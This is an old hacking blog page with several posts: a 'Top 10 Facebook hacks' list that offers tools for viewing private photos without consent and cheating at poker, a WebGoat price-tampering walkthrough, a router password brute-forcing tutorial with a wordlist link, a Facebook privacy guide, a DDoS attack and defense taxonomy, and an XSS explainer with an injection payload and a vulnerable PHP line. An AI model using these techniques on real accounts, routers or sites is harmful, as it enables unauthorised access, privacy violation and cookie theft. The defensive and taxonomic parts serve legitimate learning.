Showing posts with label vulnerability. Show all posts
Showing posts with label vulnerability. Show all posts

Tuesday, May 18, 2010

Top 10 facebook Hacks

Facebook has become very famous in last 2 year. Orkut which was considered to be the best Social networking website has been sidetracked by emerging Social Networking Websites like Facebook and Twitter. Considering the popularity of Facebook we have collected the Most Essential Hacks of Facebook and presented them to you.

1.How to View the Album of Any User Even if it is Private

You can use this script to view a photo in the original album, even if you’re not friends with the person.
Get it Here

2. How to Remove Annoying Facebook Advertisement

Get rid of some of the Facebook advertising and sponsored by sections with this tool.
Get it Here

3. How to see Real Profiles from Public Pages

This script redirects to real profiles from the Facebook people pages (public profiles). There is a risk of an infinite redirect loop if not logged in, so be logged in.
Get it Here

4. How to Undo Facebook Changes

If you hate some or all of the new Facebook changes, undo them with these scripts and use what you liked previously.
Get it Here

5. How to View All the Photos from a Person

You can search for pictures of a Facebook member who has tight privacy settings and view all his/ her pictures without his/ her consent.
Get it Here

6. How to Find More Friends at Facebook

Suppose some of your friends have newly joined Facebook and you didn’t even knew. Use this script and it will help you go through your friends’ friends list and find them out.
Get it Here

7. How to Share Files from Facebook

With this box widget, you can share files from your computer through Facebook. Isn’t it great?
Get it Here

8. How to Get a Job from Facebook

Looking for a job? This application gives Facebook users unique access to job information, networking opportunities and other career resources.
Get it Here

9. How to Tighten up the Privacy and still Maintain Communication Convenience

The Private Wall combines the best of both worlds of Facebook: online convenience and communication with more serious privacy settings.
Get it Here

10 How to Cheat Facebook Texas Hold em Poker

This is one of my Favorite hacks and that is why I have saved it for the last one. Using this software you can see the cards of any player and the advanced version of this software allows you to even add credits to your account for free.
Get it Here

Saturday, May 15, 2010

How Hackers Manipulate the Live Data Stream on Internet

 NOTE: THIS IS ONLY THE DEMONSTRATION OF THIS TECHNIQUE AND FOR EDUCATION PURPOSE ONLY

1. First of all install WebGoat and configure Web browser
2. We will use the tool Achilles. It is a tool designed for testing the security of Web applications. Achilles is a proxy server, which acts as a man-in-themiddle during an HTTP session. For more about Achilles, pls check its official website.
3. Double-click the webgoat.exe icon from the directory containing the WebGoat application.


4. onfigure the LAN setting as shown in the below fig

5. Run the Achilles application & select the options of the application as shown in below fig.


Intercept mode ON
Intercept Client Data
Ignore .jpg/.gif
Select Log to File - Save the data
6. Your Achilles screen should look like the following.

7. Open Internet Explorer and Adjust both screens equally on your desktop as shoen below.


8. Click the Start button on Achilles and notice that the status bar along the lower-left side of Achilles will let you know it is running.
9. In the address bar of Internet Explorer, enter the following address:
http://localhost/WebGoat/attack/
10. Press Enter, and Achilles will list the data flowing through to the Tomcat application. Click the Send button in Achilles. You will be presented with a login screen. For the User Name and Password enter the word guest. click the Send button again.

11. Click the Send button again & WebGoat screen will be displayed in the Web browser.
12. Under the Unvalidated Parameters section, specifically the Hidden Field Tampering area. Click on this area.
13. Click the Send button again.
14. WebGoat will appear with a shopping cart as shown below.

15. Click the Purchase button. Within Achilles you will see the QTY=1 & is Price=4999.99. Now if you want to make a purchase, whose actual cost is 4999.99 but you have only 1.99 in your account, Within Achilles edit the 4999.99 to 1.99 and then click the Send button.

16. The sale has completed, with a total charge of $1.99.

. . . . . . . . . . . . . . . . . . . . . . . . . . .

Wednesday, May 12, 2010

Cracking Router Password

In this tutorial we will use brutus but you can use any brute forcer
So download brutus from below link
http://www.hoobie.net/brutus/brutus-download.html



step 1- when we try to access our router it will ask for id and password ,we can use some of the default id password like admin:admin,admin:12345 etc etc …………..


step 2 – now open brutus


step 3 -Configure Brutus.Put the target as the router’s IP address.Put in the userlist and the passlist.After everything is OK,press on START.

As we can see from the picture above,Brutus is cracking the router.

step 4 -Wait for Brutus to finish cracking the router.You will get this result.

we can see that i have get my username and password for the router.

step 5 - Go to the page and type in the username and password.


step 6 – Press OK and we will be the in router.

this is the password list which will make your success rate higher

http://rapidshare.com/files/100861231/28GBwordlist.rar

. . . . . . . . . . . . . . . . . . . . . . . . . . .

Protect Yourself Against Facebook's New Hacker Path

Facebook had its third alarming bug in as many weeks, when a security researcher showed how a hostile website could obtain your Facebook information via Yelp. The hole is supposedly fixed, but then so were the prior two.




Protect Yourself Against Facebook's New Hacker PathFacebook was vulnerable to hackers who pasted the right malicious code into text forms on Yelp, according to TechCrunch. Yelp is a special Facebook partner, and has unfettered access to certain user data — without user permission — under new, less private policies Facebook rolled out three weeks ago. The local-reviews site is one of a handful of Web properties granted such privileges under Facebook's "Instant Personalization" program.

Once a hacker pasted the right code into Yelp, he could transfer the user's Facebook credentials to his own site and reportedly have access to a user's public Facebook data, including email address, full name — not normally exposed on anonymous Yelp — profile photo, current location, friend list, and networks
Facebook told TechCrunch it closed the security hole, but it's been playing whack-a-mole on security for three weeks, ever since revamping its privacy framework at its "F8" developer's conference: First came a bug exposing user chats, then one that made regular, unauthorized websites look like privileged Facebook apps, which Facebook said was an unfortunate illusion.
The surest way to keep you data safe from Facebook's bugs is to keep it off the social networking site in the first place. But many users have found their lives are intertwined with the site, which can be used to keep in touch with family members, RSVP to parties and share photos.
If you want to keep sharing on Facebook but avoid this specific type of vulnerability in the future, go to your Facebook home page, then select the "Account" menu in the upper-right corner of the page, then select "Privacy settings." Then click "Applications and websites," the third link.

Then scroll to the bottom of the page, to where it says "Instant Personalization Pilot Program," and click "Edit Setting," as shown (click to enlarge):

Protect Yourself Against Facebook's New Hacker Path

Then scroll to the checkbox under the picture and uncheck it, as shown (click to enlarge):

Protect Yourself Against Facebook's New Hacker Path

Then click "Confirm" on the resulting dialog. Doing this will make it harder for some websites to personalize your experience with Facebook data, but it will also lock your Facebook account against further security vulnerabilities on these outside websites, which Facebook does not control:

Protect Yourself Against Facebook's New Hacker Path

Now you'll at least be a bit safer — until the next round of Facebook privacy changes, and the new exploits that shake out from that.
(Pic: Facebook CEO Mark Zuckerberg rolls out the new developer policies at F8. Getty Images.)

reference: http://gawker.com/5536634/protect-yourself-against-facebooks-new-hacker-path

Monday, May 10, 2010

DDoS Attacks and DDoS Defense Mechanisms

Introduction
Distributed denial-of-service attacks (DDoS) pose an immense threat to the Internet, and consequently many defense mechanisms have been proposed to combat them. Attackers constantly modify their tools to bypass these security systems, and researchers in turn modify their approaches to handle new attacks.The DDoS field is evolving quickly, and it is becoming increasingly hard to grasp a global view of the problem.
. . . . . . . . . . . . . . . . . . . . . . . . . . .

DDoS Attack Overview
A denial-of-service attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. A distributed denial-of-service attack deploys multiple machines to attain this goal. The service is denied by sending a stream of packets to a victim that either consumes some key resource, thus rendering it unavailable to legitimate clients, or provides the attacker with unlimited access to the victim machine so he can inflict arbitrary damage. This section will answer the following questions:

1. What makes DDoS attacks possible?
2. How do these attacks occur?
3. Why do they occur?
Internet Architecture
The Internet is managed in a distributed manner; therefore no common policy can be enforced among its participants.Such design opens several security issues that provide opportunities for distributed denial-of-service attacks:
1. Internet security is highly interdependent. DDoS attacks are commonly launched from systems that are subverted through security related compromises. Regardless of how well secured the victim system may be, its susceptibility to DDoS attacks depends on the state of security in the rest of the global Internet.
2. Internet resource is limited. Each Internet host has limited resources that can be consumed by a sufficient number of users.
3. Power of many is greater than power of few. Coordinated and simultaneous malicious actions by some participants can always be detrimental to others, if the resources of the attackers are greater than the resources of the victims.
4. Intelligence and resources are not collocated an end-to-end communication paradigm led to locating most of the intelligence needed for service guarantees with end hosts. At the same time, a desire for large throughput led to the design of high bandwidth pathways in the intermediate network. Thus, malicious clients can misuse the abundant resources of unwitting network for delivery of numerous messages to a victim.
DDoS Attack Strategy
In order to perform a distributed denial-of-service attack, the attacker needs to recruit the multiple agent (slave) machines. This process is usually performed automatically through scanning of remote machines, looking for security holes that would enable subversion. Vulnerable machines are then exploited by using the discovered vulnerability to gain access to the machine, and they are infected with the attack code. The exploit/infection phase is also automated, and the infected machines can be used for further recruitment of new agents .Agent machines perform the attack against the victim. Attackers usually hide the identity of the agent machines during the attack through spoofing of the source address field in packets. The agent machines can thus be reused for future attacks.
DDoS Goals
The goal of a DDoS attack is to inflict damage on the victim, either for personal reasons (a significant number of DDoS attacks are against home computers, presumably for purposes of revenge), for material gain (damaging competitor’s resources) or for popularity (successful attacks on popular Web servers gain the respect of the hacker community).
Taxonomy of DDoS Attacks
In order to devise a taxonomy of distributed denialof- service attacks we observe the means used to prepare and perform the attack, the characteristics of the attack itself and the effect it has on the victim. Various classification criteria are indicated in bold type. Figure 1 summarizes the taxonomy.
Classification by Degree of Automation
During the attack preparation, the attacker needs to locate prospective agent machines and infect them with the attack code. Based on the degree of automation of the attack, we differentiate between manual, semi-automatic and automatic DDoS attacks.
Manual Attacks
Only the early DDoS attacks belonged to the manual category. The attacker scanned remote machines for vulnerabilities, broke into them and installed the attack code, and then commanded the onset of the attack. All of these actions were soon automated, leading to development of semiautomatic DDoS attacks, the category where most contemporary attacks belong.
Semi-Automatic Attacks
In semi-automatic attacks, the DDoS network consists of handler (master) and agent (slave, daemon) machines. The attacker deploys automated scripts for scanning and compromise of those machines and installation of the attack code. He then uses handler machines to specify the attack type and the victim’s address and to command the onset of the attack to agents, who send packets to the victim. Based on the communication mechanism deployed between agent and handler machines we divide semi-automatic attacks into attacks with direct communication and attacks with indirect communication.
Attacks with direct communication
During attacks with direct communication, the agent and handler machines need to know each other’s identity in order to communicate. This is achieved by hard-coding the IP address of the handler machines in the attack code that is later installed on the agent. Each agent then reports its readiness to the handlers, who store its IP address in a file for later communication. The obvious drawback of this approach is that discovery of one compromised machine can expose the whole DDoS network. Also, since agents and handlers listen to network connections, they are identifiable by network scanners.
Attacks with indirect communication
Attacks with indirect communication deploy a level of indirection to increase the survivability of a DDoS network.Recent attacks provide the example of using IRC channels for agent/handler communication. The use of IRC services replaces the function of a handler, since the IRC channel offers sufficient anonymity to the attacker. Since DDoS agents establish outbound connections to a standard service port used by a legitimate network service, agent communications to the control point may not be easily differentiated from legitimate network traffic. The agents do not incorporate a listening port that is easily detectable with network scanners. An attacker controls the agents using IRC communications channels. Thus, discovery of a single agent may lead no further than the identification of one or more IRC servers and channel names used by the DDoS network. From there, identification of the DDoS network depends on the ability to track agents currently connected to the IRC server. Although the IRC service is the only current example of indirect communication, there is nothing to prevent attackers from subverting other legitimate services for similar purposes.
Automatic Attacks
Automatic DDoS attacks additionally automate the attack phase, thus avoiding the need for communication between attacker and agent machines. The time of the onset of the attack,
attack type, duration and victim’s address is preprogrammed in the attack code. It is obvious that such deployment mechanisms offer minimal exposure to the attacker, since he is only involved in issuing a single command – the start of the attack script. The hard coded attack specification suggests a single-purpose use of the DDoS network. However, the propagation mechanisms usually leave the backdoor to the compromised DDoS machine open, enabling easy future access and modification of the attack code. Both semi-automatic and automatic attacks recruit the agent machines by deploying automatic scanning and propagation techniques. Based on the scanning strategy, we differentiate between attacks that deploy random scanning, hit list scanning, topological scanning, permutation scanning and local subnet scanning. Attackers usually combine the scanning and exploitation phases, thus gaining a larger agent population, and my description of scanning techniques relates to this model.
Attacks with Random Scanning
During random scanning each compromised host probes random addresses in the IP address space, using a different seed. This potentially creates a high traffic volume since many machines probe the same addresses. Code Red (CRv2) performed random scanning .
Attacks with Hitlist Scanning
A machine performing hitlist scanning probes all addresses from an externally supplied list. When it detects the vulnerable machine, it sends one half of the initial hitlist to the recipient and keeps the other half. This technique allows for great propagation speed (due to exponential spread) and no collisions during the scanning phase. An attack deploying hitlist scanning could obtain the list from netscan.org of domains that still support directed IP broadcast and can thus be used for a Smurf attack.
Attacks with Topological Scanning
Topological scanning uses the information on the compromised host to select new targets. All mail worms use topological scanning, exploiting the information from address books for their spread.
Attacks with Permutation Scanning
During permutation scanning, all compromised machines share a common pseudo-random permutation of the IP address space; each IP address is mapped to an index in this permutation. A machine begins scanning by using the index computed from its IP address as a starting point. Whenever it sees an already infected machine, it chooses a new random start point. This has the effect of providing a semi coordinated, comprehensive scan while maintaining the benefits of random probing. This technique is described in as not yet deployed.
Attacks with Local Subnet Scanning
Local subnet scanning can be added to any of the previously described techniques to preferentially scan for targets that reside on the same subnet as the compromised host. Using this technique, a single copy of the scanning program can compromise many vulnerable machines behind a firewall. Code Red II and Nimda Worm used local subnet scanning. Based on the attack code propagation mechanism, we differentiate between attacks that deploy central source propagation, back-chaining propagation and autonomous propagation .
Attacks with Central Source Propagation
During central source propagation, the attack code resides on a central server or set of servers.
After compromise of the agent machine, the code is downloaded from the central source through a file transfer mechanism. The 1i0n worm operated in this manner.
Attacks with Back-chaining Propagation
During back-chaining propagation, the attack code is downloaded from the machine that was used to exploit the system.The infected machine then becomes the source for the next propagation step. Back-chaining propagation is more survivable than central-source propagation since it avoids a single point of failure. The Ramen worm and Morris Worm used backchaining propagation.
Attacks with Autonomous Propagation
Autonomous propagation avoids the file retrieval step by injecting attack instructions directly into the target host during the exploitation phase. Code Red, Warhol Worm and numerous E-mail worms use autonomous propagation.
Classification by Exploited Vulnerability
Distributed denial-of-service attacks exploit different strategies to deny the service of the victim to its clients. Based on the vulnerability that is targeted during an attack, we differentiate between protocol attacks and brute-force attacks.
Protocol Attacks
Protocol attacks exploit a specific feature or implementation bug of some protocol installed at the victim in order to consume excess amounts of its resources. Examples include the TCP SYN attack, the CGI request attack and the authentication server attack. In the TCP SYN attack, the exploited feature is the allocation of substantial space in a connection queue immediately upon receipt of a TCP SYN request. The attacker initiates multiple connections
that are never completed, thus filling up the connection queue indefinitely. In the CGI request attack, the attacker consumes the CPU time of the victim by issuing multiple CGI requests. In the authentication server attack, the attacker exploits the fact that the signature verification process consumes significantly more resources than bogus signature generation. He sends numerous bogus authentication requests to the server, tying up its resources.
Brute-force Attacks
Brute-force attacks are performed by initiating a vast amount of seemingly legitimate transactions. Since an upstream network can usually deliver higher traffic volume than the victim network can handle, this exhausts the victim’s resources. We further divide brute-force attacks based on the relation of packet contents with victim services into filterable and non-filterable attacks.
Filterable Attacks
Filterable attacks use bogus packets or packets for non-critical services of the victim’s operation, and thus can be filtered by a firewall. Examples of such attacks are a UDP flood attack or an
ICMP request flood attack on a Web server.
Non-filterable Attacks
Non-filterable attacks use packets that request legitimate services from the victim. Thus, filtering all packets that match the attack signature would lead to an immediate denial of the specified service to both attackers and the legitimate clients. Examples are a HTTP request flood targeting a Web server or a DNS request flood targeting a name server. The line between protocol and brute force attacks is thin. Protocol attacks also overwhelm a victim’s resources with excess traffic, and badly designed protocol features at remote hosts are frequently used to perform “reflector” brute-force attacks, such as the DNS request attack or the Smurf attack. The difference is that a victim can mitigate the effect of protocol attacks by modifying the deployed protocols at its site, while it is helpless against brute-force attacks due to their misuse of legitimate services (non-filterable attacks) or due to its own limited resources (a victim can do nothing about an attack that swamps its network bandwidth). Countering protocol attacks by modifying the deployed protocol pushes the corresponding attack mechanism into the brute-force category. For example, if the victim deploys TCP SYN cookies to combat TCP SYN attacks, it will still be vulnerable to TCP SYN attacks that generate more requests than its network can accommodate. However, the brute-force attacks need to generate a much higher volume of attack packets than protocol attacks, to inflict damage at the victim. So by modifying the deployed protocols the victim pushes the vulnerability limit higher. Evidently, classification of the specific attack needs to take into account both the attack mechanisms used and the victim’s configuration. It is interesting to note that the variability of attack packet contents is determined by the exploited vulnerability. Packets comprising protocol and non-filterable brute force attacks must specify some valid header fields and possibly some valid contents. For example TCP SYN attack packets cannot vary the protocol or flag field, and HTTP flood packets must belong to an established TCP connection and therefore cannot spoof source addresses, unless they hijack connections from legitimate clients.
Classification by Attack Rate Dynamics
Depending on the attack rate dynamics we differentiate between continuous rate and variable rate attacks.
Continuous Rate Attacks
The majority of known attacks deploy a continuous rate mechanism. After the onset is commanded, agent machines generate the attack packets with full force. This sudden packet flood disrupts the victim’s services quickly, and thus leads to attack detection.
Variable Rate Attacks
Variable rate attacks are more cautious in their engagement, and they vary the attack rate to avoid detection and response. Based on the rate change mechanism we differentiate between attacks with increasing rate and fluctuating rate
.
Increasing Rate Attacks
Attacks that have a gradually increasing rate lead to a slow exhaustion of victim’s resources. A state change of the victim could be so gradual that its services degrade slowly over a long time period, thus delaying detection of the attack.
Fluctuating Rate Attacks
Attacks that have a fluctuating rate adjust the attack rate based on the victim’s behavior, occasionally relieving the effect to avoid detection. At the extreme end, there is the example of pulsing attacks. During pulsing attacks, agent hosts periodically abort the attack and resume it at a later time. If this behavior is simultaneous for all agents, the victim experiences periodic service disruptions. If, however, agents are divided into groups who coordinate so that one group is always active, then the victim experiences continuous denial of service.
Classification by Impact
Depending on the impact of a DDoS attack on the victim we differentiate between disruptive and degrading attacks.
Disruptive Attacks
The goal of disruptive attacks is to completely deny the victim’s service to its clients. All currently known attacks belong to this category.
Degrading Attacks
The goal of degrading attacks would be to consume some (presumably constant) portion of a victim’s resources. Since these attacks do not lead to total service disruption, they could remain undetected for a significant time period. On the other hand, damage inflicted on the victim could be immense. For example, an attack that effectively ties up 30% of the victim’s resources would lead to denial of service to some percentage of customers during high load periods, and possibly slower average service. Some customers, dissatisfied with the quality, would consequently change their service provider and victim would thus lose income. Alternately, the false load could result in a victim spending money to upgrade its servers and networks.
Taxonomy of DDoS Defense Mechanisms
The seriousness of the DDoS problem and the increased frequency of DDoS attacks have led to the advent of numerous DDoS defense mechanisms. Some of these mechanisms address a specific kind of DDoS attack such as attacks on Web servers or authentication servers. Other approaches attempt to solve the entire generic DDoS problem. Most of the proposed approaches require certain features to achieve their peak performance, and will perform quite differently if deployed in an environment where these requirements are not met.
As is frequently pointed out, there is no “ram ban (means the weapon which never misses the target in hindi)” against DDoS attacks. Therefore we need to understand not only each existing DDoS defense approach, but also how those approaches might be combined together to effectively and completely solve the problem.
Classification by Activity Level
Based on the activity level of DDoS defense mechanisms, we differentiate between preventive and reactive mechanisms.
Preventive Mechanisms
The goal of preventive mechanisms is either to eliminate the possibility of DDoS attacks altogether or to enable potential victims to endure the attack without denying services to legitimate clients. According to these goals we further divide preventive mechanisms into attack prevention and denial-of-service prevention mechanisms.
Attack Prevention Mechanisms
Attack prevention mechanisms modify the system configuration to eliminate the possibility of a DDoS attack. Based on the target they secure, we further divide them into system security and protocol security mechanisms.
System Security Mechanisms
System security mechanisms increase the overall security of the system, guarding against illegitimate accesses to the machine, removing application bugs and updating protocol installations to prevent intrusions and misuse of the system. DDoS attacks owe their power to large numbers of subverted machines that cooperatively generate the attack streams. If these machines were secured, the attackers would lose their army and the DDoS threat would then disappear. On the other hand, systems vulnerable to intrusions can themselves become victims of DDoS attacks in which the attacker, having gained unlimited access to the machine, deletes or alters its contents. Potential victims of DDoS attacks can be easily overwhelmed if they deploy vulnerable protocols. Examples of system security mechanisms include monitored access to the machine, applications that download and install security patches, firewall systems, virus scanners, intrusion detection systems, access lists for critical resources, capability-based systems and client-legitimacy-based systems. The history of computer security suggests that this approach can never be 100% effective, but doing a good job here will certainly decrease the frequency and strength of DDoS attacks.
Protocol Security Mechanisms
Protocol security mechanisms address the problem of bad protocol design. Many protocols contain operations that are cheap for the client but expensive for the server. Such protocols can be misused to exhaust the resources of a server by initiating large numbers of simultaneous transactions. Classic misuse examples are the TCP SYN attack, the authentication server attack, and the fragmented packet attack, in which the attacker bombards the victim with malformed packet fragments forcing it to waste its resources on reassembling attempts. Examples of protocol security mechanisms include guidelines for a safe protocol design in which resources are committed to the client only after sufficient authentication is done , or the client has paid a sufficient price , deployment of powerful proxy server that completes TCP connections , etc. Deploying comprehensive protocol and system security mechanisms can make the victim completely resilient to protocol attacks. Also, these approaches are inherently compatible with and complementary to all other approaches.
Denial-of-service prevention mechanisms enable the victim to endure attack attempts without denying service to legitimate clients. This is done either by enforcing policies for resource consumption or by ensuring that abundant resources exist so that legitimate clients will not be affected by the attack. Consequently, based on the prevention method, we differentiate between resource accounting and resource multiplication mechanisms.
Resource Accounting Mechanisms
Resource accounting mechanisms police the access of each user to resources based on the privileges of the user and his behavior. Such mechanisms guarantee fair service to legitimate well-behaving users. In order to avoid user identity theft, they are usually coupled with legitimacy-based access mechanisms that verify the user’s identity. Approaches proposed in illustrate resource accounting mechanisms.
Resource Multiplication Mechanisms
Resource multiplication mechanisms provide an abundance of resources to counter DDoS threats. The straightforward example is a system that deploys a pool of servers with a load balancer and installs high bandwidth links between itself and upstream routers. This approach essentially raises the bar on how many machines must participate in an attack to be effective. While not providing perfect protection, for those who can afford the costs, this approach has often proven sufficient. For example, Microsoft has used it to weather large DDoS attacks.
Reactive Mechanisms
Reactive mechanisms strive to alleviate the impact of an attack on the victim. In order to attain this goal they need to detect the attack and respond to it. The goal of attack detection is to detect every attempted DDoS attack as early as possible and to have a low degree of false positives. Upon attack detection, steps can be taken to characterize the packets belonging to the attack stream and provide this characterization to the response mechanism. We classify reactive mechanisms based on the attack detection strategy into mechanisms that deploy pattern detection, anomaly detection, hybrid detection, and third-party detection.
Mechanisms with Pattern Attack Detection
Mechanisms that deploy pattern detection store the signatures of known attacks in a database. Each communication is monitored and compared with database entries to discover occurrences of DDoS attacks. Occasionally, the database is updated with new attack signatures. The obvious drawback of this detection mechanism is that it can only detect known attacks, and it is usually helpless against new attacks or even slight variations of old attacks that cannot be matched to the stored signature. On the other hand, known attacks are easily and reliably detected, and no false positives are encountered
Mechanisms with Anomaly Attack Detection
Mechanisms that deploy anomaly detection have a model of normal system behavior, such as a model of normal traffic dynamics or expected system performance. The current state of the system is periodically compared with the models to detect anomalies. Approaches presented in provide examples of mechanisms that use anomaly detection. The advantage of anomaly detection over pattern detection is that unknown attacks can be discovered. However, anomaly-based detection has to address two issues:
1. Threshold setting. Anomalies are detected when the current system state differs from the model by a certain threshold. The setting of a low threshold leads to many false positives, while a high threshold reduces the sensitivity of the detection mechanism.
2. Model update. Systems and communication patterns evolve with time, and models need to be updated to reflect this change. Anomaly based systems usually perform automatic model update using statistics gathered at a time when no attack was detected. This approach makes the detection mechanism vulnerable to increasing rate attacks that can mistrial models and delay or even avoid attack detection.
Mechanisms with Hybrid Attack Detection
Mechanisms that deploy hybrid detection combine the pattern-based and anomaly-based detection, using data about attacks discovered through an anomaly detection mechanism to devise new attack signatures and update the database. Many intrusion detection systems use hybrid detection. If these systems are fully automated, properly extracting a signature from a detected attack can be challenging. The system must be careful not to permit attackers to fool it into detecting normal behavior as an attack signature, or the system itself becomes a denial-of-service tool.
Mechanisms with Third-Party Attack Detection
Mechanisms that deploy third-party detection do not handle the detection process themselves, but rely on an external message that signals the occurrence of the attack and provides attack characterization. Examples of mechanisms that use third-party detection are easily found among trace back mechanisms The goal of the attack response is to relieve the impact of the attack on the victim, while imposing minimal collateral damage to legitimate clients of the victim. I classify reactive mechanisms based on the response strategy into mechanisms that deploy agent identification, rate-limiting, filtering and reconfiguration approaches.
Agent Identification Mechanisms
Agent identification mechanisms provide the victim with information about the identity of the machines that are performing the attack. This information can then be combined with other response approaches to alleviate the impact of the attack. Agent identification examples include numerous trace back techniques and approaches that eliminate spoofing thus enabling use of the source address field for agent identification.
Rate-Limiting Mechanisms
Rate-limiting mechanisms impose a rate limit on a stream that has been characterized as malicious by the detection mechanism. Examples of rate limiting mechanisms are found in Rate limiting is a lenient response technique that is usually deployed when the detection mechanism has a high level of false positives or cannot precisely characterize the attack stream. The disadvantage is that they allow some attack traffic through, so extremely high scale attacks might still be effective even if all traffic streams are rate-limited.
Filtering Mechanisms
Filtering mechanisms use the characterization provided by a detection mechanism to filter out the attack stream completely. Examples include dynamically deployed firewalls , and also a commercial system Traffic Master . Unless detection strategy is very reliable, filtering mechanisms run the risk of accidentally denying service to legitimate traffic. Worse, clever attackers might leverage them as denial-of service tools.
Reconfiguration Mechanisms
Reconfiguration mechanisms change the topology of the victim or the intermediate network to either add more resources to the victim or to isolate the attack machines. Examples include reconfigurable overlay networks, resource replication services, attack isolation strategies etc. Reactive DDoS defense mechanisms can perform detection and response either alone or in cooperation with other entities in the Internet. Based on the cooperation degree we differentiate between autonomous, cooperative and interdependent mechanisms.
Autonomous Mechanisms
Autonomous mechanisms perform independent attack detection and response. They are usually deployed at a single point in the Internet and act locally. Firewalls and intrusion detection systems provide an easy example of autonomous mechanisms.
Cooperative Mechanisms
Cooperative mechanisms are capable of autonomous detection and response, but can achieve significantly better performance through cooperation with other entities. Mechanisms deploying pushback provide examples of cooperative mechanisms. They detect the occurrence of a DDoS attack by observing congestion in a router’s buffer, characterize the traffic that creates the congestion, and act locally to impose a rate limit on that traffic. However, they achieve significantly better performance if the rate limit requests can be propagated to upstream routers who otherwise may be unaware of the attack.
Interdependent Mechanisms
Interdependent mechanisms cannot operate autonomously; they rely on other entities either for attack detection or for efficient response. Traceback mechanisms provide examples of interdependent mechanisms. A traceback mechanism deployed on a single router would provide almost no benefit.
Classification by Deployment Location
With regard to a deployment location, we differentiate between DDoS mechanisms deployed at the victim, intermediate, or source network.
Victim-Network Mechanisms
DDoS defense mechanisms deployed at the victim network protect this network from DDoS attacks and respond to detected attacks by alleviating the impact on the victim. Historically, most defense systems were located at the victim since it suffered the greatest impact of the attack and was therefore the most motivated to sacrifice some resources for increased security. Resource accounting and protocol security mechanisms provide examples of these systems.
Intermediate-Network Mechanisms
DDoS defense mechanisms deployed at the intermediate network provide infrastructural service to a large number of Internet hosts. Victims of DDoS attacks can contact the infrastructure and request the service, possibly providing adequate compensation. Pushback and traceback techniques are examples of intermediate-network mechanisms.
Source-Network Mechanisms
The goal of DDoS defense mechanisms deployed at the source network is to prevent customers using this network from generating DDoS attacks. Such mechanisms are necessary and desirable, but motivation for their deployment is low since it is unclear who would pay the expenses associated with this service. Mechanisms proposed in provide examples of source-network mechanisms.

REFRENCE
http://www.cert.org/tech_tips/denial_of_service.html
http://www.cert.org/archive/pdf/DoS_trends.pdf
http://www.cert.org/incident_notes/IN-2001-08.html
http://www.cert.org/incident_notes/IN-2001-03.html
http://www.cert.org/incident_notes/IN-2001-01.html
http://www.cs.berkeley.edu/~nweaver/warhol.html
http://www.cert.org/incident_notes/IN-2001-09.html
http://www.cert.org/advisories/CA-2001-26.html
http://www.cert.org/incident_notes/IN-2000-04.html
http://www.cert.org/advisories/CA-1998-01.html
http://www.cisco.com/warp/public/707/newsflash.html
J. D. Howard, “An analysis of security incidents on the Internet,”
F. Kargl, J. Maier and M. Weber, “Protecting web servers from distributed denial of service attacks,”
J. D. Howard and T. A. Longstaff, “A common language for computer security incidents”

http://www.cert.org/research/taxonomy_988667.pdf
S. Axelsson, “Intrusion detection systems: A survey and taxonomy, “
K. Hafner and J. Markoff, Cyberpunk: Outlaws and hackers on the computer frontier

http://www.tripwire.com/products/servers/
http://www.usenix.org/publications/login/2000-7/apropos.html.
M. Franklin and A. Stubblefield, “An algebraic approach to IP Traceback”,
http://search.ietf.org/internet-drafts/draft-ietf-itrace-01.txt, Oct.
RFC 2267,
J. Leiwo, P. Nikander, and T. Aura, “Towards network denial of service resistant protocols
Wikipedia and
Also Credits-some articles by my hackers friends for writing different parts (WAR10RD, DIGITAL, ICEBEAR 64 ETC) ,Jelena , Martin and Peter

Cross Website Scripting (XSS) Info and Prevention


Introduction
Cross Site Scripting aka XSS is one of the most common application level attacks that hackers use to sneak into web applications today. They are unique in that, rather than attacking a server directly, they use a vulnerable server as a vector to attack a client. This can lead to extreme difficulty in tracing attackers, especially when requests are not fully logged Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the XSS attack involves three parties – the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies, or any other sensitive information, which can identify the client with the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site – specifically, impersonate the user. This was achieved by running malicious Javascript code at the victim (client) browser, with the “access privileges” of the web site. These are the very limited Javascript privileges which generally do not let the script access anything but site related information. It should be stressed that although the vulnerability exists at the web site, at no time is the web site directly harmed. Yet this is enough for the script to collect the cookies and send them to the attacker. The result, the attacker gains the cookies and impersonates the victim.
. . . . . . . . . . . . . . . . . . . . . . . . . . .
TYPES OF XSS


LOCAL XSS
This form of XSS is rarely mentioned, because it is very hard to pull off and requires knowledge of either browser exploits or local OS html files. For the first scenario, the attacker could use their website to send malicious commands to the local users vulnerable HTML files(look in /WINDOWS, there are HTML files there) that executes some command on the users system. The second form that this attack can take is using browser exploits. Using a browser exploit, the attacker can plant an activeX script locally on the users system, which can run under local HTML privileges(all javascripts are allowed without confirmation) and install backdoors, worms, spambots etc.
Non-persistent XSS
This type of XSS attack does no harm to the site itself, and they are created when javascript can be injected into a variable that is echoed back to the user in some way. Say when you enter some text into a search bar and press submits, and the new page that is loaded has what you searched saved in the search bar. You could escape the input tag using “} then inject script, e.g. {script}alert(”war10rd”){/script}. This is only useful in social engineering where you get a user, or administrator, to visit the page with the same parameters you provided to create the XSS, only this time with a cookie stealer script on the page. This will execute for them, logging their cookies to a site you choose
Persistent XSS
This kind of XSS is what is mostly used against guestbooks, forums and other permanent user content pages. When this type of XSS is used it stays on the page and can be used in many ways; stealing cookies, defacing a page, and spreading (the new “XSS worm” phenomenon same as the famous orkut worm)

NOW XSS ATTACK
XSS attacks are the result of flaws in server- side web applications and are rooted in user input which is not properly sanitized for HTML characters. If the attacker can insert arbitrary HTML then they could control execution of the page under permissions of the site. Attackers often perform XSS exploitation by crafting malicious URLs and tricking users into clicking on them. These links cause client side scripting languages (VBScript, JavaScript, etc.) of the attacker’s choice to execute on the victim’s browser. XSS vulnerabilities are caused by a failure in the web application to properly validate user input. The most common web components that fall victim to XSS vulnerabilities include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a victim doesn’t necessarily have to click on a link; XSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAME HTML tags (much like the Badtrans worm). There are numerous ways to inject JavaScript code into URLs for the purpose of a XSS attack
Let see one example
{?php echo “Hello, {$HTTP_GET_VARS['name']}!”; ?}
